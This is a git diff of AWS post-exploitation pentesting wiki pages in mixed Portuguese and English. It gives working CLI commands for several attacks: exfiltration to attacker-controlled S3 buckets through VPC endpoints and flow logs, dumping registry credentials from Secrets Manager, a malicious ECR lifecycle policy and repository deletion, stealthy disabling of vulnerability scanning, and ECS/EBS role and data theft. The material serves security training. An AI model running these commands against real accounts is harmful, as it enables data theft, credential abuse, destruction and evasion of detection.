+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md
@@ -0,0 +1,68 @@
+# AWS – Egress Bypass de subnets isoladas via VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Resumo
+
+Esta técnica abusa de VPC Endpoints para criar canais de exfiltração a partir de subnets sem Internet Gateways ou NAT. Gateway endpoints (e.g., S3) adicionam rotas de prefix‑list nas subnet route tables; Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) criam ENIs alcançáveis com IPs privados protegidos por security groups. Com permissões mínimas de VPC/EC2, um atacante pode habilitar egress controlado que não atravessa a public Internet.
+
+> Pré-requisitos: VPC existente e subnets privadas (no IGW/NAT). Você precisará de permissões para criar VPC endpoints e, para a Option B, um security group para anexar às endpoint ENIs.
+
+## Opção A – S3 Gateway VPC Endpoint
+
+**Variáveis**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Crie um arquivo de endpoint policy permissivo (opcional). Salve como `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Criar o endpoint Gateway do S3 (adiciona a rota de prefix-list do S3 às tabelas de rotas selecionadas):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Evidências a capturar:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` mostra uma rota para a AWS S3 prefix list (por exemplo, `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- A partir de uma instância nessas subnets (with IAM perms) você pode exfil via S3 sem Internet:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Opção B – Interface VPC Endpoint for API Gateway (execute-api)
+
+**Variáveis**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Crie o endpoint de interface e associe o SG:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Evidências a capturar:
+- `aws ec2 describe-vpc-endpoints` mostra o endpoint no estado `available` com `NetworkInterfaceIds` (ENIs nas suas subnets).
+- Instances nessas subnets conseguem alcançar Private API Gateway endpoints através dessas VPCE ENIs (sem necessidade de caminho para a Internet).
+
+## Impacto
+- Contorna controles de saída perimetrais aproveitando caminhos privados gerenciados pela AWS para serviços da AWS.
+- Permite exfiltração de dados a partir de subnets isoladas (por exemplo, gravar em S3; chamar Private API Gateway; acessar Secrets Manager/SSM/STS, etc.) sem IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
new file mode 100644
index 000000000..c9b9788f5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md
@@ -0,0 +1,74 @@
+# AWS - Exfiltração entre contas de VPC Flow Logs para S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+Abuse `ec2:CreateFlowLogs` para exportar VPC, subnet, ou ENI flow logs diretamente para um bucket S3 controlado pelo atacante. Uma vez que o delivery role esteja configurado para gravar no bucket externo, toda conexão vista no recurso monitorado é transmitida para fora da conta da vítima.
+
+## Requirements
+- Principal da vítima: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (se um delivery role for requerido/criado).
+- Bucket do atacante: política S3 que confia em `delivery.logs.amazonaws.com` com `s3:PutObject` e `bucket-owner-full-control`.
+- Opcional: `logs:DescribeLogGroups` se exportando para CloudWatch em vez de S3 (não necessário aqui).
+
+## Attack Walkthrough
+
+1) **Atacante** prepara uma política de bucket S3 (na conta do atacante) que permite ao VPC Flow Logs delivery service gravar objetos. Substitua os marcadores de posição antes de aplicar:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Aplicar a partir da conta do atacante:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (principal comprometido) cria os flow logs direcionados ao attacker bucket:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+Em poucos minutos, arquivos de flow log aparecem no attacker bucket contendo conexões para todas as ENIs na VPC/sub-rede monitorada.
+
+## Evidências
+
+Exemplos de registros de flow log gravados no attacker bucket:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Prova de listagem do Bucket:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Impacto
+- Continuous network metadata exfiltration (source/destination IPs, ports, protocols) for the monitored VPC/subnet/ENI.
+- Permite análise de tráfego, identificação de serviços sensíveis e potencial hunting por misconfigurações de security group a partir de fora da conta da vítima.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
deleted file mode 100644
index 81c62e3fa..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# AWS - ECR Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Para mais informações, consulte
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Login, Pull & Push
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Após baixar as imagens, você deve **verificá-las em busca de informações sensíveis**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma política de ciclo de vida para deletar todas as imagens no repositório** e então **deletar todo o repositório ECR**. Isso resultaria na perda de todas as imagens de contêiner armazenadas no repositório.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
new file mode 100644
index 000000000..04396d0c2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md
@@ -0,0 +1,206 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Para mais informações, consulte
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
+Após baixar as imagens, você deve **verificá-las em busca de informações sensíveis**:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
+{{#endref}}
+
+### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
+
+Um atacante com qualquer uma dessas permissões pode **criar ou modificar uma política de ciclo de vida para excluir todas as imagens no repositório** e então **excluir todo o repositório ECR**. Isso resultaria na perda de todas as imagens de container armazenadas no repositório.
+```bash
+# Create a JSON file with the malicious lifecycle policy
+echo '{
+"rules": [
+{
+"rulePriority": 1,
+"description": "Delete all images",
+"selection": {
+"tagStatus": "any",
+"countType": "imageCountMoreThan",
+"countNumber": 0
+},
+"action": {
+"type": "expire"
+}
+}
+]
+}' > malicious_policy.json
+
+# Apply the malicious lifecycle policy to the ECR repository
+aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
+
+# Delete the ECR repository
+aws ecr delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete the ECR public repository
+aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
+
+# Delete multiple images from the ECR repository
+aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+
+# Delete multiple images from the ECR public repository
+aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)
+
+Se o ECR Pull‑Through Cache estiver configurado para registries upstream autenticados (Docker Hub, GHCR, ACR, etc.), as credenciais upstream são armazenadas no AWS Secrets Manager com um prefixo de nome previsível: `ecr-pullthroughcache/`. Operadores às vezes concedem aos admins do ECR amplo acesso de leitura ao Secrets Manager, permitindo credential exfiltration e reutilização fora da AWS.
+
+Requisitos
+- secretsmanager:ListSecrets
+- secretsmanager:GetSecretValue
+
+Enumerar segredos candidatos do PTC
+```bash
+aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
+--output text
+```
+Dump secrets descobertos e analisar campos comuns
+```bash
+for s in $(aws secretsmanager list-secrets \
+--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
+aws secretsmanager get-secret-value --secret-id "$s" \
+--query SecretString --output text | tee /tmp/ptc_secret.json
+jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
+jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
+done
+```
+Opcional: validar leaked creds contra o upstream (login somente leitura)
+```bash
+echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
+```
+Impacto
+- Ler essas entradas do Secrets Manager gera credenciais reutilizáveis do upstream registry (username/password ou token), que podem ser abusadas fora da AWS para pull de imagens privadas ou acessar repositórios adicionais dependendo das permissões upstream.
+
+
+### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
+
+Um atacante com permissões de ECR em nível de registry pode reduzir ou desativar silenciosamente a varredura automática de vulnerabilidades para TODOS os repositórios configurando a configuração de varredura do registry para BASIC sem quaisquer regras de scan-on-push. Isso impede que novos image pushes sejam escaneados automaticamente, ocultando imagens vulneráveis ou maliciosas.
+
+Requisitos
+- ecr:PutRegistryScanningConfiguration
+- ecr:GetRegistryScanningConfiguration
+- ecr:PutImageScanningConfiguration (optional, per‑repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+
+Rebaixamento do registry inteiro para manual (sem varreduras automáticas)
+```bash
+REGION=us-east-1
+# Read current config (save to restore later)
+aws ecr get-registry-scanning-configuration --region "$REGION"
+
+# Set BASIC scanning with no rules (results in MANUAL scanning only)
+aws ecr put-registry-scanning-configuration \
+--region "$REGION" \
+--scan-type BASIC \
+--rules '[]'
+```
+Teste com um repo e image
+```bash
+acct=$(aws sts get-caller-identity --query Account --output text)
+repo=ht-scan-stealth
+aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
+aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
+printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
+docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
+docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
+
+# Verify no scan ran automatically
+aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
+# Optional: will error with ScanNotFoundException if no scan exists
+aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
+```
+Opcional: degradar ainda mais no escopo do repo
+```bash
+# Disable scan-on-push for a specific repository
+aws ecr put-image-scanning-configuration \
+--region "$REGION" \
+--repository-name "$repo" \
+--image-scanning-configuration scanOnPush=false
+```
+Impacto
+- Novos pushes de imagens em todo o registry não são escaneados automaticamente, reduzindo a visibilidade de conteúdo vulnerável ou malicioso e atrasando a detecção até que um scan manual seja iniciado.
+
+
+### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)
+
+Reduz a qualidade da detecção de vulnerabilidades em todo o registry ao trocar o engine de scan BASIC do padrão AWS_NATIVE para o engine legado CLAIR. Isso não desativa o scanning, mas pode alterar materialmente os achados/cobertura. Combine com uma configuração de scanning do registry BASIC sem regras para tornar os scans apenas manuais.
+
+Requisitos
+- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
+- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
+
+Impacto
+- Configuração do registry `BASIC_SCAN_TYPE_VERSION` definida como `CLAIR`, de modo que os scans BASIC subsequentes rodem com o engine rebaixado. CloudTrail registra a chamada de API `PutAccountSetting`.
+
+Passos
+```bash
+REGION=us-east-1
+
+# 1) Read current value so you can restore it later
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
+
+# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
+
+# 3) Verify the setting
+aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
+
+# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
+aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
+
+# 5) Restore to AWS_NATIVE when finished to avoid side effects
+aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
deleted file mode 100644
index 11c8cdddf..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# AWS - ECS Pós Exploração
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECS
-
-Para mais informações, consulte:
-
-{{#ref}}
-../aws-services/aws-ecs-enum.md
-{{#endref}}
-
-### Funções IAM do Host
-
-No ECS, uma **função IAM pode ser atribuída à tarefa** que está sendo executada dentro do contêiner. **Se** a tarefa estiver sendo executada dentro de uma **instância EC2**, a **instância EC2** terá **outra função IAM** anexada a ela.\
-Isso significa que, se você conseguir **comprometer** uma instância ECS, poderá potencialmente **obter a função IAM associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais, consulte:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-> [!CAUTION]
-> Observe que, se a instância EC2 estiver aplicando IMDSv2, [**de acordo com a documentação**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **resposta da solicitação PUT** terá um **limite de salto de 1**, tornando impossível acessar os metadados da EC2 a partir de um contêiner dentro da instância EC2.
-
-### Privesc para nó para roubar credenciais e segredos de outros contêineres
-
-Além disso, o EC2 usa docker para executar tarefas ECs, então, se você conseguir escapar para o nó ou **acessar o socket do docker**, você pode **verificar** quais **outros contêineres** estão sendo executados e até mesmo **entrar neles** e **roubar suas funções IAM** anexadas.
-
-#### Fazendo contêineres rodarem no host atual
-
-Além disso, a **função da instância EC2** geralmente terá permissões suficientes para **atualizar o estado da instância do contêiner** das instâncias EC2 que estão sendo usadas como nós dentro do cluster. Um atacante poderia modificar o **estado de uma instância para DRAINING**, então o ECS **removerá todas as tarefas dela** e as que estão sendo executadas como **REPLICA** serão **executadas em uma instância diferente,** potencialmente dentro da **instância do atacante**, para que ele possa **roubar suas funções IAM** e informações sensíveis potenciais de dentro do contêiner.
-```bash
-aws ecs update-container-instances-state \
---cluster <cluster> --status DRAINING --container-instances <container-instance-id>
-```
-A mesma técnica pode ser feita **desregistrando a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará as tarefas a serem executadas em outras instâncias:**
-```bash
-aws ecs deregister-container-instance \
---cluster <cluster> --container-instance <container-instance-id> --force
-```
-Uma técnica final para forçar a reexecução de tarefas é indicando ao ECS que a **tarefa ou contêiner foi parado**. Existem 3 APIs potenciais para fazer isso:
-```bash
-# Needs: ecs:SubmitTaskStateChange
-aws ecs submit-task-state-change --cluster <value> \
---status STOPPED --reason "anything" --containers [...]
-
-# Needs: ecs:SubmitContainerStateChange
-aws ecs submit-container-state-change ...
-
-# Needs: ecs:SubmitAttachmentStateChanges
-aws ecs submit-attachment-state-changes ...
-```
-### Roubar informações sensíveis de contêineres ECR
-
-A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar informações sensíveis nelas).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
new file mode 100644
index 000000000..1807e5097
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md
@@ -0,0 +1,128 @@
+# AWS - ECS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+For more information check:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Host IAM Roles
+
+No ECS uma **IAM role pode ser atribuída à task** que está sendo executada dentro do container. **If** a task for executada dentro de uma **EC2** instance, a **EC2 instance** terá **outra IAM** role anexada a ela.\
+O que significa que se você conseguir **compromise** uma instância ECS você pode potencialmente **obter a IAM role associada ao ECR e à instância EC2**. Para mais informações sobre como obter essas credenciais veja:
+
+{{#ref}}
+https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
+{{#endref}}
+
+> [!CAUTION]
+> Observe que se a EC2 instance estiver forçando IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), a **response of the PUT request** terá um **hop limit of 1**, tornando impossível acessar o EC2 metadata a partir de um container dentro da EC2 instance.
+
+### Privesc to node to steal other containers creds & secrets
+
+Além disso, o EC2 usa docker para executar tasks do ECS, então se você conseguir **escape to the node** ou **access the docker socket**, você pode **verificar** quais **outros containers** estão sendo executados, e até **entrar neles** e **steal their IAM roles** anexadas.
+
+#### Making containers run in current host
+
+Além do mais, a **EC2 instance role** normalmente terá **permissions** suficientes para **update the container instance state** das EC2 instances sendo usadas como nodes dentro do cluster. Um atacante poderia modificar o **state of an instance to DRAINING**, então o ECS irá **remover todas as tasks dela** e as que estão sendo executadas como **REPLICA** serão **run in a different instance**, potencialmente dentro da **instance do atacante**, para que ele possa **steal their IAM roles** e possíveis informações sensíveis de dentro do container.
+```bash
+aws ecs update-container-instances-state \
+--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
+```
+A mesma técnica pode ser feita ao **desregistrar a instância EC2 do cluster**. Isso é potencialmente menos discreto, mas **forçará que as tasks sejam executadas em outras instances:**
+```bash
+aws ecs deregister-container-instance \
+--cluster <cluster> --container-instance <container-instance-id> --force
+```
+Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task ou container foi parada**. Existem 3 APIs potenciais para isso:
+```bash
+# Needs: ecs:SubmitTaskStateChange
+aws ecs submit-task-state-change --cluster <value> \
+--status STOPPED --reason "anything" --containers [...]
+
+# Needs: ecs:SubmitContainerStateChange
+aws ecs submit-container-state-change ...
+
+# Needs: ecs:SubmitAttachmentStateChanges
+aws ecs submit-attachment-state-changes ...
+```
+### Steal sensitive info from ECR containers
+
+The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)
+
+Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container.
+
+- Requer (mínimo):
+- ecs:RegisterTaskDefinition
+- Um dos: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
+- iam:PassRole em:
+- ECS infrastructure role usada para volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
+- Task execution/Task roles referenciadas pela task definition
+- Se o snapshot estiver criptografado com uma CMK: permissões KMS para a infra role (a AWS managed policy acima inclui os KMS grants necessários para AWS managed keys).
+
+- Impacto: Ler conteúdos arbitrários do disco do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltrate via network/logs.
+
+Passos (exemplo Fargate):
+
+1) Crie a ECS infrastructure role (se não existir) e anexe a managed policy:
+```bash
+aws iam create-role --role-name ecsInfrastructureRole \
+--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
+aws iam attach-role-policy --role-name ecsInfrastructureRole \
+--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
+```
+2) Registre uma definição de tarefa com um volume marcado como `configuredAtLaunch` e monte-o no container. Exemplo (imprime o segredo e depois dorme):
+```json
+{
+"family": "ht-ebs-read",
+"networkMode": "awsvpc",
+"requiresCompatibilities": ["FARGATE"],
+"cpu": "256",
+"memory": "512",
+"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
+"containerDefinitions": [
+{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
+"entryPoint":["/bin/sh","-c"],
+"command":["cat /loot/secret.txt || true; sleep 3600"],
+"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
+"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
+}
+],
+"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
+}
+```
+3) Crie ou atualize um serviço passando o snapshot do EBS via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na role de infraestrutura). Exemplo:
+```json
+{
+"cluster": "ht-ecs-ebs",
+"serviceName": "ht-ebs-svc",
+"taskDefinition": "ht-ebs-read",
+"desiredCount": 1,
+"launchType": "FARGATE",
+"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
+"volumeConfigurations": [
+{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
+]
+}
+```
+4) Quando a task é iniciada, o container pode ler o conteúdo do snapshot no mount path configurado (por exemplo, `/loot`). Exfiltrate através do network/logs da task.
+
+Limpeza:
+```bash
+aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
+aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
+aws ecs deregister-task-definition ht-ebs-read
+```
+
